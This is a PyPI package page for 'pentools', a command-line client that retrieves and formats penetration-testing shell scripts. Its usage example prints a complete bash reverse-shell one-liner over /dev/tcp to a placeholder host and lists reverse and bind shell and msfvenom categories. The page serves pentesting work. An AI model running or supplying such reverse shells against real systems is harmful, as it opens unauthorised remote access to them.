Skip to main content

CLI for Pen Tools API

Project description

CLI Tool for interacting with Pen Tools API.

A command line interface tool for interacting with Pen Tools API. Quickly retrieve and format scripts using a simple set of commands.

Installation

The package requires Python 3.7 or higher.

Install latest version from PyPI: pip install pentools

Resources

API documentation

Usage

Retrieve the list of scripts based on specified category (leave blank to see all).

pentools list

output:

Available types

0. rev
1. bind
2. msf_venom
3. listener

Add the -f flag to see available scripts.

pentools list rev  -f

output:

Available scripts and types

0. rev
    Shell session established on a connection that is initiated from a remote machine.
        0. bash_i [id: 1]('linux', 'mac')
        1. bash_196 [id: 2]('linux', 'mac')
        2. bash_read_line [id: 3]('linux', 'mac')
        3. Bash_5 [id: 4]('linux', 'mac')
        ...

Retrieve and format a specific script by id.

pentools script -i 1 -ho example.ip -p 12345 -s bin/bash

output:

---------------(code)---------------

bin/bash -i >& /dev/tcp/example.ip/12345 0>&1

-------------(end code)-------------

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pentools-0.0.1.tar.gz (4.4 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

pentools-0.0.1-py3-none-any.whl (7.3 kB view details)

Uploaded Python 3

File details

Details for the file pentools-0.0.1.tar.gz.

File metadata

  • Download URL: pentools-0.0.1.tar.gz
  • Upload date:
  • Size: 4.4 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.1.1 pkginfo/1.5.0.1 requests/2.22.0 setuptools/47.3.1 requests-toolbelt/0.9.1 tqdm/4.46.1 CPython/3.7.6

File hashes

Hashes for pentools-0.0.1.tar.gz
Algorithm Hash digest
SHA256 762af689ae03947975dc8af68680078aa793606736af2474a5d30798d28ce225
MD5 901047a499b8facbbd1b2c98851dbc49
BLAKE2b-256 da175ae59a1372ff4e2da8569fcc9fa71fa9b15a38fc61bf64b7b5a88996780f

See more details on using hashes here.

File details

Details for the file pentools-0.0.1-py3-none-any.whl.

File metadata

  • Download URL: pentools-0.0.1-py3-none-any.whl
  • Upload date:
  • Size: 7.3 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.1.1 pkginfo/1.5.0.1 requests/2.22.0 setuptools/47.3.1 requests-toolbelt/0.9.1 tqdm/4.46.1 CPython/3.7.6

File hashes

Hashes for pentools-0.0.1-py3-none-any.whl
Algorithm Hash digest
SHA256 6354e951ebdc76efcd13670319d02865a658e7df9b1db8602d4a7f848c41e7d0
MD5 296558a3c80d9f8255c7d4e324be0066
BLAKE2b-256 88f056903cefd9abce1dcde9b17f1a6581f7fc75812ee28e860da90bf2382281

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page